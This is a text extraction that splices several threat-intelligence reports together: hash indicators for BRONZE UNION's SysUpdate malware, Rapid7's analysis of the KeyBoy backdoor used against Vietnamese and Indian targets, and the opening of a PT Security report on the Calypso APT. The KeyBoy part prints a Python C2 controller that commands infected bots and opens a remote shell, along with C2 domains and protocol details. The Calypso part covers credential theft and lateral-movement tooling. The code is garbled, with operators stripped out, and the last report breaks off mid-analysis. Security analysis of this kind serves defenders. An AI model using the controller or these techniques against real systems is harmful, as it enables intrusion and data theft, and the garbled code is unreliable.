(self-extracting RAR file) associated with BRONZE UNION e8cf3522b68a51b2aabcfc6f98b39da15a23da1d SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION Indicator Type Context 6/9 76bc063f8f348a202f92faac0c36f1a0a122f9b3568342abcd97651be7adec08 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 88a27758f3066dd4da18983a005ddc20 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 1f9c979cbab9ff2519aa3bf3006a752177f4d8c6 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 24a7e226f14fb86275b423d63d0332bfb95e261532f0667517c01da9d2bc51b3 SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 17acc1d983dde32b5bcde9c9624848b0 MD5 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION a03b14cac23dcfa2b2e12d5a8e53959d5a2e8fa2 SHA1 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION 3f69c0e7392bc6441a308281b07627797613d89666a5c9b22cb104edf359c46b SHA256 hash SysUpdate installer (self-extracting RAR file) associated with BRONZE UNION a13772805b772f374f7d709999a816d5 MD5 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION fa9600f1d15e61d5f2bdb8ac0399b7f42da63a01 SHA1 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION d40903560072bb777290d75d7e31a927f05924bffe00d26713c6b39e8e68ae82 SHA256 hash Malicious SysUpdate DLL (Wsock32.dll) associated with BRONZE UNION 78142cdad08524475f710e5702827a66 MD5 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION bc20da9465a7a7f9c2d5666ea5370c6c1e988441 SHA1 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION 3cebc9161e3e964a2e7651566c5a710d0625192ddecd14cfc5a873e7bc6db96f SHA256 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION 0955e01bc26455965b682247ecb86add MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 23533c452b12131253e4e21f00ae082eba7cfdb3 SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 9d9c9c17ae4100b817a311ea0c6402e9f3eedc94741423796df3ead1375aaebf SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION d4bb5c6364c4b4a07e6bbf2177129655 MD5 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION Indicator Type Context 7/9 0689e40696a0cbecc5c3391e8b8b40d27a033186 SHA1 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION dcfc9e4077705385328133557629fffee11662b7843b34dd4e1e42404ac2e921 SHA256 hash Encrypted SysUpdate payload (sys.bin.url) associated with BRONZE UNION cbb84d382724dd8adc5725dfca9b4af1 MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 88de66897c448229b52c2ac991ba63e14fc3276b SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 01926af0ff76607b3859734dda4b97fc55a8b8c2582982af786977929a414092 SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 8cb11e271aba3354545a77751c1e783e MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION e49833f2a4ec0422410a1c28ef58c9fc33c3a13f SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 7f16b19f22ab0a33f9bf284aa0c2a9b9a429c4f4b7b801f2d2d80440eb74437f SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 53d0db22c5abaf904d85facb70a60c8e MD5 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION d363606e6159a786b06891227efac2164eeda7b3 SHA1 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION a941d46d6352fb2d70bba1423c4890dd5516e45d81f826900272ed14d0b678f4 SHA256 hash Malicious SysUpdate DLL (pdh.dll) associated with BRONZE UNION 9814cdc7033a97fcf4f31aa377be60ba MD5 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 2d568eb8ef17529e8bb6e658a032690e0f527d24 SHA1 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 9c1c798ba8b7f6f2334dcfcb8066be05d49c2e1395f7e7c8332e42afa708f5ae SHA256 hash Malicious SysUpdate ActiveX control (LDVPOCX.OCX) associated with BRONZE UNION 8b8e44bd5e4a9f7d58714ba9ca72351c MD5 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate 02704ef94519eee0a57073b1e530ffea73df2a1f SHA1 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate 86de90119b572620fd6a690b903c721679359cdc81f3d3327677e13539d5f626 SHA256 hash Word document downloader (Final.docx) used by BRONZE UNION, associated with SysUpdate Indicator Type Context Table 2.
Indicators for this threat.
8/9 9/9 A Peek into BRONZE UNIONs Toolbox Summary Breathing new life into old tools ZxShell games You look like youve seen a Gh0st RAT Creating custom solutions Conclusion Threat indicators
KeyBoy, Targeted Attacks against Vietnam and India In our never-ending quest to spot and expose the nastiest of the Internet, me and Mark this time incidentally stepped into a targeted attacks campaign apparently directed at a distributed and diversified base of victims.
In this blog post well analyze two specific incidents apparently targeting victims in Vietnam and in India and well describe the capabilities of the custom backdoor being used that for convenience (and to our knowledge, for a lack of an existing name) we call KeyBoy, due to a string present in one of the samples.
Well describe how the attackers operate these backdoors, provide some scripts useful to further investigate the campaign as well as meanings to detect infections or scout for additional samples.
Exploits and Payloads We encountered the first document exploit called THAM luan- GD- NCKH2.doc a few days ago, which appears to be leveraging some vulnerabilities patched with MS12-060.
When opened with a vulnerable version of Microsoft Word, the exploit will initiate the infection routine and display the legitimate document that follows: http://twitter.com/botherder http://twitter.com/repmovsb https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3201/document.jpg This document, written in Vietnamese, appears to be reviewing and discussing best practices for teaching and researching scientific topics.
We have no knowledge on the identity of the target, but we can assume he might part of the Vietnamese academic community.
The document is named to Nguyen Anh Tuan, which is presented as author of this crafted text.
Following are the hashes of the exploit file: THAM luan- GD- NCKH2.doc Hash Value MD5 161c840748df9b49fda878394398425a SHA1 e3cc84a4dc66e43453a039c3c983fcef92eafa7d SHA256 5ba8c42807bee050aa474fe3c876936d196c65dca9895ccd2e317133188c905e SHA512 30bb6c3bcb797b8ebe5ab4bef59173ba358ea6713ea26cbc0147c37b99a54eca62f09475299a44c3 98679f84fa87dc6dff084a185543945f123fb34236fa825b When executed the exploit initially creates and launches a dropper at location Temp\svchost.exe with the following hashes: svchost.exe Hash Value MD5 1f4d22e5131a66aa24f44eb0d4f1b54d SHA1 2c8a144331ec124755413f31a83e21015c74f2ec SHA256 1c076413cca929b7004863f1a3992afda665786d6e179b9886ddeb8062194049 SHA512 6a73333ca96ce0db7fa62eec34987070b823d95618e9c5e36ac0486927270794790d957ebc40c513 23941ed22acded5ecfa3e9acd88f2c66a6619fa6793231ea This payload then creates a DLL file in system32 called CREDRIVER.dll, which is in fact the actual backdoor: CREDRIVER.dll Hash Value MD5 2df60de8cb6b9fe7db1ea10581cfcda4 SHA1 fb8057595f2bb53331620c717775751df781c151 SHA256 ba4863d8a22864fa50a32aa85bc808371f05e8953167d34251cbd779d33e2d6d SHA512 5907c682e1cce4ce2aae3a165abefd40e7de4c4befefe895204ee59f9efd11ef75f894cd535597fe 698de80f6ee4e361234c96a0454c490b4faa69869191ed81 We also identified another document exploiting CVE-2012-0158, but this time apparently targeting some Indian individuals.
The content of the document is the following: This time the bait appears to be related to the state of telecommunication infrastructure in the district of Calcutta in India, discussing the coverage of GSM networks and availability and stability of broadband connections.
Also for this intrusion we cant know the identity of the target, but our hypothesis is either someone in the telecommunications industry or a representative of the local government.
In this case this crafted document pretends to be authored by someone called Amir Kumar Gupta.
iafbsnl.doc Hash Value MD5 dff54d302900e323c8988c725bbe2299 SHA1 c5c0bae48c326006b9dcc99855646d3be0b474c1 SHA256 1595ea659a87677c59a195a3aeec9e3ef135c808ec353222e8eaa662117c9362 SHA512 6568f1f054c56716506ea2acdfb60919cc55f3da4ef05dee88925b6ccb835ad471e7d0d3e61befca 8b7d320c08ee7ba96322c127329c6f94bfb288eeb9c6a0c5 https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3210/indiadoc.jpg CREDRIVER.dll Hash Value MD5 2b8c79678fa970ca4e229121e3de206f SHA1 5e4b7268606d6c98d00874431d39c34971149200 SHA256 c22792dbf9a0279b36fa22f775a92ddfea9545cc842381ba84c2402c76aa393a SHA512 0b064bad3a237734cf74f587a573a79949c79f8922df444ac7d73474d5cab739b495036624a3b907 b18acb276ac5f8c777d4565bbba8e615212a2aedbc54f95e All backdoors appear to be compiled on April 1st 2013, suggesting that the attacks are reasonably recent.
Analysis of the Backdoor For the sake of this analysis well take the Vietnamese backdoor as an example the one found in the Indian attack operates in the exact same way.
As mentioned, when the exploit is opened a dropper is created and launched, which then takes care of creating a Windows service called MdAdum, which is then visible in the registry as follows: https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3203/service_1.jpg https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3204/service_2.jpg The dropper then launches the service with the DLL located at C:\WINDOWS\system32\CREDRIVER.dll and deletes itself.
Resilience on the system is guaranteed by the use of such service which will be executed at every start up.
Note that the Indian attack does not make use of this middle-stage dropper, but directly installs and launches the Windows service instead.
This backdoor has several features including: 1.
Steal credentials from Internet Explorer 2.
Steal credentials from Mozilla Firefox 3.
Install a keylogger for intercepting credentials on Google Chrome 4.
Operate in an interactive mode to allow the attacker to perform additional investigation on the compromised system and exfiltrate data.
Following you can see the portion of the code where the backdoor, after having verified which version of Mozilla Firefox is installed on the system, decides which technique to use to recover the credentials from the browsers local storage.
In older versions of Firefox, credentials were stored in several .txt files in AppData\Mozilla\Firefox, while in most recent ones they are stored in a SQLite database.
In the following snipped you see the SQL statement to extract the data: Just in the same way, the backdoor attempts to collect password autocomplete  from Internet Explorer: https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3205/ffversion.png https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3206/ffpwd.png The backdoor also creates a separate thread that installs a Windows hook procedure on message WH_KEYBOARD_LL, through which it can intercept keystrokes.
We believe this is mainly used to intercept credentials from other browsers, specifically Google Chrome: Analysis of the Protocol The backdoor tries to contact the following domains until it gets a response from an active one: https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3207/ie7pwd.png https://community.rapid7.com/servlet/JiveServlet/showImage/38-6199-3209/keylog.png silence.phdns01.com cpnet.phmail.us imlang.phmail.org The Indian backdoor tries to contact the following domains instead: cresy.zyns.com preter.epac.to backto.ddns.name In the first set of domains they are either registered with Whois proxy services or with fake identities.
In the second set they are making use of a dynamic DNS service by ChangeIP.com.
Following are traces collected from passive DNS data relevant to the hosts involved in these attacks: Domain First Seen Last Seen IPs ASN silence.phdns01.com May 21st 2013 May 25th 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. cpnet.phmail.us May 10th 2013 May 24th 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. imlang.phmail.org May 22nd 2013 May 23rd 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. vtt.phdns01.com March 9th 2013 April 19th 2013 199.193.66.51 (TTL: 1800) 6939 - HURRICANE - Hurricane Electric, Inc. preter.epac.to May 31st 2013 May 31st 2013 1.235.10.28 (TTL: 30) 9318 - HANARO-AS Hanaro Telecom Inc. preter.epac.to May 18th 2013 May 28th 2013 113.160.44.154 (TTL: 30) 45899 - VNPT-AS-VN VNPT Corp This is an initial request that the backdoor would send out on port 443 to an active CC: 00000000  c4 4c 87 3f 11 1e c4 1a  2c a9 12 1a 19 61 82 de  .L.?....,....a..
00000010  19 26 f8 de bd 26 de 19  b0 19 1a 95 a1 dd 2b 6d  ............m 00000020  c2 1a 82 b0 19 eb 47 b0  26 47 b0 26 20 82 eb ca  ......G.G.
... 00000030  bd 26 ca 82 54 1a d0 c2  87 38 a1 20 82 b0 19 eb  ...T....8.
....
00000040  b0 54 b0 19 1a 00                                 .T.... At the time of the analysis all the CC servers were not responding, we started reverse engineering the communication protocol and noticed that it simply used a multiply with 0x69 to encode the traffic sent to the controllers.
You can easily decode the content of the payload with the following Python snippet: The previous packet decodes to the following: login LAB 192.168.56.101 MyUser 2013/06/06 23:56:24 Proxy 20130401 While reverse engineering the backdoor we noticed that the malware expects the following messages from the CC server it contacts: Sysinfo FileManager Download UploadFileOk Shell Intrigued by its capabilities, we started reconstructing the communication protocol and practically building a tool that would operate just like the original controller used by the attackers.
The following is a preliminary Python script that implements the protocol used by the malware and allows you to interact with it: 1.
2.
3.
4.
5.
6.
7.
8.
9.
import sys 10.
import socket 11.
import select 12.
13.
14.
def decode(x): 15.
return .join([chr((ord(i)0xd9)0xff) for i in x]) 16.
17.
18.
def encode(x): 19.
return .join([chr((ord(i)0x93)0xff) for i in x]) 20.
21.
22.
def main(): 23.
s  socket.socket(socket.
AF_INET, socket.
SOCK_STREAM) 24.
s.setsockopt(socket.
SOL_SOCKET, socket.
SO_REUSEADDR, 1) 25.
s.bind((0.0.0.0, 443)) 26.
s.listen(1) 27.
28.
29.
print [] CC Running on 0.0.0.0:443 30.
31.
32.
while True: 33.
s2, ca  s.accept() 34.
print [] New client connected:, ca 35.
36.
while True: 37.
dec 38.
rlist, wlist, xlist  select.select([s2,],[],[], 10) 39.
while rlist: 40.
data  s2.recv(2048) 41.
if not data: break 42.
43.
44.
dec  decode(data) 45.
print dec 46.
rlist, wlist, xlist  select.select([s2,],[],[], 2) 47.
48.
49.
if dec.startswith(login): 50.
print [] Authenticating on the bot 51.
s2.send(encode(login_OK) \x00) 52.
s2.send(encode(Refresh) \x00) 53.
elif dec.startswith(OnLine): 54.
s2.send(encode(test) \x00) 55.
else: 56.
cmd  raw_input(shell ).strip() 57.
s2.send(encode(cmd)\x00) 58.
59.
60.
s2.close() 61.
62.
63.
s.close() 64.
return 0 65.
66.
67.
if __name__  __main__: 68.
try: sys.exit(main()) 69.
except KeyboardInterrupt: pass We then launched this script and redirected the traffic coming from a system infected with KeyBoy and took control of it .
Here you can see the bot beaconing in and requiring for authentication (funny enough the password is test, while the Indian sample uses dns.com): [] CC Running on 0.0.0.0:443 [] New client connected: (192.168.56.110, 1443) login LAB 192.168.56.110 MyUser 2013/06/07 02:18:35 Proxy 20130401 [] Authenticating on the bot OnLine Pw_OK When the authentication is confirmed, we are prompted with a shell through which we can interact in real-time with the bot.
The messages we previously identified represent the actual commands that can be sent to the bot: Sysinfo: returns detailed information on the computer (pretty much the output of systeminfo) the bot will respond with a message with the header sysinfo.
FileManager: interact with all the disks available on the victim system the bot will respond with a message with the header fileManager.
Download: download a file from the compromised system the bot will respond with a message with the header fileDownload.
UploadFileOk: upload a file to the compromised system the bot will respond with a message with the header fileUpload.
Most interestingly the command Shell spawns a Windows command shell that we can control remotely: shell Shell shell Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32 shell tasklist shell tasklist shell Image Name                   PID Session Name     Session    Mem Usage  System Idle Process            0 Console                 0         28 K System                         4 Console                 0        236 K smss.exe                     368 Console                 0        388 K csrss.exe                    584 Console                 0      3,740 K winlogon.exe                 608 Console                 0      4,312 K services.exe                 652 Console                 0      3,368 K lsass.exe                    664 Console                 0      6,152 K VBoxService.exe              820 Console                 0      3,092 K svchost.exe                  864 Console                 0      4,696 K svchost.exe                  952 Console                 0      4,252 K svchost.exe                 1044 Console                 0     20,424 K svchost.exe                 1100 Console                 0      3,584 K svchost.exe                 1160 Console                 0      4,268 K spoolsv.exe                 1428 Console                 0      4,996 K explorer.exe                1656 Console                 0     29,944 K VBoxTray.exe                1820 Console                 0      3,620 K GrooveMonitor.exe           1868 Console                 0      4,340 K ctfmon.exe                  1888 Console                 0      3,148 K jqs.exe                     2040 Console                 0      1,396 K vmware-usbarbitrator.exe     248 Console                 0      3,180 K alg.exe                     1380 Console                 0      3,440 K wscntfy.exe                 1692 Console                 0      1,804 K wuauclt.exe                 1116 Console                 0      6,568 K svchost.exe                  796 Console                 0      4,088 K cmd.exe                      480 Console                 0      2,624 K tasklist.exe                 724 Console                 0      4,068 K wmiprvse.exe                1256 Console                 0      5,544 K C:\WINDOWS\system32 While the interaction with the bots could also be scripted, it might be plausible that the operators of these intrusions might be interacting with their targets exclusively manually to collect different data depending on each individual they infected and the goals they had set for the attack.
Detecting Infections While these are clearly not widespread attacks and, as in any other targeted attack case, we should not create alarmism for threats that are likely irrelevant for the majority of organizations, we want to share a few indicators that might help identify infections or assist in further research by whoever is interested in this campaign.
Firstly, thanks to the fixed patterns used by the malware in the authentication procedure, we can detect outbound traffic from infected hosts with the following simple Snort rule: alert tcp HOME_NET any - EXTERNAL_NET any (msg:KeyBoy Backdoor Login flow:to_server content:c4 4c 87 3f 11 1e c4 1a depth:8 sid:1000001 rev:1 classtype:trojan-activity reference:url,community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-tar geted-attacks- against-vietnam-and-india) The simplest way to identify an infection on a given Windows system, is just to look for the existence of the file C:\WINDOWS\system32\CREDRIVER.dll or of a service called MdAdum.
We also created a couple of Yara rules that you can use to scan your systems your collection of malware samples to identify copies of KeyBoy: Conclusions Not a day passes by without hearing of someone hit by a targeted attack.
Recently the growth of amount and scale of targeted attacks has come to the point were they are starting to look more like opportunistic carpet bombings rather than ninja strikes.
Its common to observe attacks pulled off successfully without any particular sophistication in place, including the incidents described in this post.
Its also getting quite difficult to attribute the attacks to any state-sponsored unit, both because theres a generic lack of strong evidence in such incidents (which is why we refrained from making any statement on the origin of these intrusions) but frankly also because almost anybody could operate such campaigns and be reasonably successful.
The only differentiation between actors at this point exclusively relies on identifying the motivations and the context.
Beware though, just because these attacks are conceptually targeted, it doesnt necessarily mean that they should have a higher priority than any other threat on your security program.
Our suggestion remains the same: identify your core assets, recognize the most impactful threats to such assets and inform and protect yourself accordingly.
This research was brought to you by Claudio Guarnieri and Mark Schloesser from Rapid7 Labs.
http://twitter.com/botherder http://twitter.com/repmovsb
ptsecurity.com Calypso APT 2019 Contents Calypso APT 2 Initial infection vector 3 Lateral movement 4 Attribution 4 Analyzing Calypso RAT malicious code 6 Dropper 6 Installation BAT script 7 Shellcode x86: stager 9 Modules 10 Commands 11 Network code 13 Shellcode x64: stager (base backdoor) 13 Modules 14 Commands 15 Network code 17 Other options 19 Dropper-stager 19 Hussar 20 Initialization  20 Modules 22 FlyingDutchman 23 Conclusion 26 Indicators of compromise 26 Network 26 File indicators 26 Droppers and payload 26 Droppers with the same payload 27 Payload without dropper 27 Hussar 27 FlyingDutchman 27 MITRE ATTCK 28 1 Calypso APT The PT Expert Security Center first took note of Calypso in March 2019 during threat hunting.
Our specialists collected multiple samples of malware used by the group.
They have also identified the organizations hit by the attackers, as well as the attackers C2 servers.
Our data indicates that the group has been active since at least September 2016.
The primary goal of the group is theft of confidential data.
Main targets are governmental institu- tions in Brazil, India, Kazakhstan, Russia, Thailand, and Turkey.
Our data gives reason to believe that the APT group is of Asian origin.1 1.
See the section Attribution.
2 Initial infection vector The attackers accessed the internal network of a compromised organization by using an ASPX web shell.
They uploaded the web shell by exploiting a vulnerability or, alternately, guessing default credentials for remote access.
We managed to obtain live traffic between the attackers and the web shell.
Figure 1.
Part of the recorded traffic The traffic indicates the attackers connected from IP address 46.166.129.241.
That host contains domain tv.teldcomtv.com, the C2 server for the groups trojan.
Therefore the hackers use C2 servers not only to control malware, but also to access hosts on compromised infrastructures.
The attackers used the web shell to upload utilities1 and malware,2 execute commands, and dis- tribute malware inside the network.
Examples of commands from the traffic are demonstrated in the following screenshot.
1.
See the section Lateral movement.
2.
See the section Analyzing Calypso RAT malicious code.
Figure 2.
Commands sent to the web shell 3 Lateral movement The group performed lateral movement by using the following publicly available utilities and exploits: SysInternals Nbtscan Mimikatz ZXPortMap TCP Port Scanner Netcat QuarksPwDump WmiExec EarthWorm OS_Check_445 DoublePulsar EternalBlue EternalRomance On compromised computers, the group stored malware and utilities in either C:\RECYCLER or C:\ProgramData.
The first option was used only on computers with Windows XP or Windows Server 2003 with NTFS on drive C. The attackers spread within the network either by exploiting vulnerability MS17-010 or by using stolen credentials.
In one instance, 13 days after the attackers got inside the network, they used DCSync and Mimikatz to obtain the Kerberos ticket of the domain administrator, passing the ticket to infect more computers.
Figure 3.
Obtaining account data via DCSync Use of such utilities is common for many APT groups.
Most of those utilities are legitimate ones used by network administrators.
This allows the attackers to stay undetected longer.
Attribution In one attack, the group used Calypso RAT, PlugX, and the Byeby trojan.
Calypso RAT is malware unique to the group and will be analyzed in detail in the text that follows.
PlugX has traditionally been used by many APT groups of Asian origin.
Use of PlugX in itself does not point to any particular group, but is overall consistent with an Asian origin.
The Byeby trojan1 was used in the SongXY malware campaign back in 2017.
The version used now is modified from the original.
The group involved in the original campaign is also of Asian origin.
It performed targeted attacks on defense and government-related targets in Russia and the CIS countries.
However, we did not find any clear-cut connection between the two campaigns.
When we analyzed the traffic between the attackers server and the web shell, we found that the attackers used a non-anonymous proxy server.
The X-Forwarded-For header passed the attackers IP address (36.44.74.47).
This address would seem to be genuine (more precisely, the first address in a chain of proxy servers).
1.
unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ 4 https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ The IP address belongs to China Telecom.
We believe the attackers could have been careless and set up the proxy server incorrectly, thus disclosing their real IP address.
This is the first piece of evidence supporting the Asian origins of the group.
Figure 4.
Headers of requests to the web shell Figure 5.
Information on the discovered IP address Figure 6.
IP address found in the DoublePulsar configuration Figure 7.
Information on the discovered IP address The attackers also left behind a number of system artifacts, plus traces in utility configurations and auxiliary scripts.
These are also indicative of the groups origin.
For instance, one of the DoublePulsar configuration files contained external IP address 103.224.82.47, presumably for testing.
But all other configuration files contained internal addresses.
This IP address belongs to a Chinese provider, like the one before, and it was most likely left there due to the attackers carelessness.
This constitutes additional evidence of the groups Asian origins.
5 We also found BAT scripts that launched ZXPortMap and EarthWorm for port forwarding.
Inside we found network indicators www.sultris.com and 46.105.227.110.
Figure 8.
Network indicators found in the BAT scripts The domain in question was used for more than just tunneling: it also served as C2 server for the PlugX malware we found on the compromised system.
As already mentioned, PlugX is tradition- ally used by groups of Asian origin, which constitutes yet more evidence.
Therefore we can say that the malware and network infrastructure used all point to the group having an Asian origin.
Analyzing Calypso RAT malicious code The structure of the malware and the process of installing it on the hosts of a compromised net- work look as follows: Figure 9.
Malware structure and installation process Dropper The dropper extracts the payload as an installation BAT script and CAB archive, and saves it to disk.
The payload inside the dropper has a magic header that the dropper searches for.
The fol- lowing figure shows an example of the payload structure.
6 Figure 10.
Structure of the payload hard-coded in the dropper Figure 12.
Example of installation script obfuscation Figure 11.
Dropper with original encryption and decryption algorithm The dropper encrypts and decrypts data with a self-developed algorithm that uses CRC32 as a pseudorandom number generator (PRNG).
The algorithm performs arithmetic (addition and subtraction) between the generated data and the data that needs to be encrypted or decrypted.
Now decrypted, the payload is saved to disk at ALLUSERSPROFILE\TMP_dd, where the last two numbers are replaced by random numbers returned by the rand() function.
Depending on the configuration, the CAB archive contains one of three possibilities: a DLL and encrypted shellcode, a DLL with encoded loader in the resources, or an EXE file.
We were unable to detect any instances of the last variant.
Installation BAT script The BAT script is encoded by substitution from a preset dictionary of characters this dictionary is initialized in a variable in the installation script.
In the decoded script, we can see comments hinting at the main functions of the script: REM Goto temp directory  extract file (go to TEMP directory and extract files there) REM Uninstall old version (uninstall the old version) REM Copy file (copy file) REM Run pre-install script (run the installation BAT script) REM Create service (create a service launching the malware at system startup) REM Create Registry Run (create value in the registry branch for autostart) 7 At the beginning of each script we can see a set of variables.
The script uses these variables to save files, modify services, and modify registry keys.
Figure 13.
Initializing variables in deobfuscated script Figure 14.
Early version of the script with comments In one of the oldest samples, compiled in 2016, we found a script containing comments for how to configure each variable.
8 Shellcode x86: stager In most of the analyzed samples, the dropper was configured to execute shellcode.
The dropper saved the DLL and encrypted shellcode to disk.
The shellcode name was always identical to that of the DLL, but had the extension .dll.crt.
The shellcode is encrypted with the same algorithm as the payload in the dropper.
The shellcode acts as a stager providing the interface for communi- cating with C2 and for downloading modules.
It can communicate with C2 via TCP and SSL.
SSL is implemented via the mbed_tls library.
Initial analysis of the shellcode revealed that, in addition to dynamically searching for API func- tions, it runs one more operation that repeats the process of PE file address relocation.
The structure of the relocation table is also identical to that found in the PE file.
Figure 15.
Shellcode relocations Figure 16.
Debugging information inside the shellcode Figure 17.
Example of shellcode configuration Since the process of shellcode address relocation repeats that of the PE file, we can assume that initially the malware is compiled into a PE file, and then the builder turns it into shellcode.
Debugging information found inside the shellcode supports that assumption.
API functions are searched for dynamically and addresses are relocated, after which the config- uration hard-coded inside the shellcode is parsed.
The configuration contains information about the C2 server address, protocol used, and connection type.
Next the shellcode creates a connection to C2.
A random packet header is created and sent to C2.
In response the malware receives a network key, saves it, and then uses it every time when com- municating with C2.
Then the information about the infected computer is collected and sent to C2.
Next three threads are launched.
One is a heartbeat sending an empty packet to C2 every 54 seconds.
The other processes and executes commands from C2.
As for the third thread, we could not figure out its purpose, because the lines implementing its functionality were removed from the code.
All we can tell is that this thread was supposed to wake up every 54 seconds, just like the first one.
9 Modules We have not found any modules so far.
But we can understand their functionality by analyzing the code responsible for communication between the shellcode and the modules.
Each module is shellcode which is given control over the zero offset of the address.
Each module exists in its own separate container.
The container is a process with loaded module inside.
By default, the process is svchost.exe.
When a container is created, it is injected with a small shellcode that caus- es endless sleep.
This is also hard-coded in the main shellcode, and more specifically in JustWait.
pdb, most likely.
The module is placed inside with an ordinary writeprocess and is launched either with NtCreateThreadEx or, on pre-Vista operating systems, CreateRemoteThread.
Two pipes are created for each module.
One is for transmitting the data from the module to C2 the other for receiving data from C2.
Quite likely the modules do not have their own network code and instead use the pipes to communicate with external C2 through the main shellcode.
Figure 18.
Creating pipes for modules Each module has a unique ID assigned by C2.
Containers are launched in different ways.
A con- tainer can be launched in a specific session open in the OS or in the same session as the stager.
In any particular session, the container is launched by getting the handle for the session token of a logged-in user, and then launching the process as that user.
10 Figure 19.
Creating container process in a different session Commands The malware we studied can process 12 commands.
All of them involve modules in one way or another.
Here is a list of all IDs of commands found in the malware, along with those that the mal- ware itself sends in various situations.
ID Direction Type Description 0x401 From 2 Command Create module descriptor.
This command contains information on the module size and ID.
It also allo- cates memory for the module data.
The command is likely the first in the chain of commands used for loading a module 0x402 From 2 Command Accept module data, and if all data is accepted, launch the module inside a container running in the same session as the stager 0x403 From 2 Command Same as 0x402, but the module is launched in a container running in a different session 0x404 From C2 Command Write data to pipe for module launched inside a con- tainer running in the same session as the stager 0x405 From 2 Command Write data to pipe for module launched inside a container in a different session 0x409 From 2 Command Generate a constant by calling GetTickCount() and save it.
This constant is used in the third thread, mentioned already, whose purpose we were unable to discern 0201 From 2 Command Launch the module if the buffer size stored in the module descriptor equals the module size.
Does not accept data (unlike commands 0402 and 0403).
The module is launched inside a container running in the same session as the stager 11 0202 From 2 Command Same as 0x201, but the module is launched in a con- tainer running in a different session 0203 From 2 Command Close all pipes related to a specific module running inside a container launched in the same session as the stager 0204 From 2 Command Same as 0x203, but for a module running in a con- tainer launched in a different session 0x206 From 2 Command Collect information on sessions open in the system (such as session IDs and computer names) and send it to C2 0207 From 2 Command Assign session ID.
This ID will be used to launch con- tainers in this session 0x409 From the malware Response ID used in empty heartbeat packets (the first thread described earlier) 0x103 From the malware Response ID of packet containing information on the infected computer 0x302 From the malware Response ID of packet sent after an accepted session ID is saved (command 0x207) 0304 From the malware Response ID of packet sent after module is successfully placed inside a container.
This code is sent after the module is launched in a different session 0303 From the malware Response Same as 0x304, but the module is launched in the same session as the stager 0x406 From the malware Response ID of packet containing data piped by module in a container launched in the same session as the stager 0x407 From the malware Response Similar to 0x406, but from a module launched in a different session 0x308 From the malware Response ID of packet sent if no handle of a logged-in users session token could be obtained 0x408 From the malware Response ID of packet sent if session-related information could not be obtained.
Before the packet is sent, the shellcode checks the OS version.
If the version is earlier than Vista, data is regarded as impossible to obtain in the manner implemented in the malware, because the Windows API functions it uses are pres- ent only in Vista and later.
12 Network code Network communication is initialized after the network key is received from C2.
To do that, the malware sends a random sequence of 12 bytes to C2.
In response the malware also expects 12 bytes, the zero offset of which must contain the same value (_DWORD) as prior to sending.
If the check is successful, four bytes at offset 8 are taken from the response and decrypted with RC4.
The key is four bytes sent previously, also located at offset 8.
This result is the network key.
The key is saved and then used to send data.
All transmitted packets have the following structure.
A random four-byte key is generated for each packet.
It is later used to encrypt part of the header, starting with the cmdld field.
The same key is used to encrypt the packet payload.
Encryption uses the RC4 algorithm.
The key itself is encrypted by XOR with the network key and saved to the corresponding field of the packet header.
Shellcode x64: stager (base backdoor) This shellcode is very similar to the previous one, but it deserves a separate description because of differences in its network code and method of launching modules.
This shellcode has basic functions for file system interaction which are not available in the shellcode described earlier.
Also the configuration format, network code, and network addresses used as C2 by this shellcode are similar to code from a 2018 blog post by NCC Group about a Gh0st RAT variant.
However, we did not find a connection to Gh0st RAT.
This variant of the shellcode has only one communication channel, via SSL.
The shellcode imple- ments it with two legitimate libraries, libeay32.dll and ssleay32.dll, hard-coded in the shellcode itself.
First the shellcode performs a dynamic search for API functions and loads SSL libraries.
The libraries are not saved to disk they are read from the shellcode and mapped into memory.
Next the malware searches the mapped image for the functions it needs to operate.
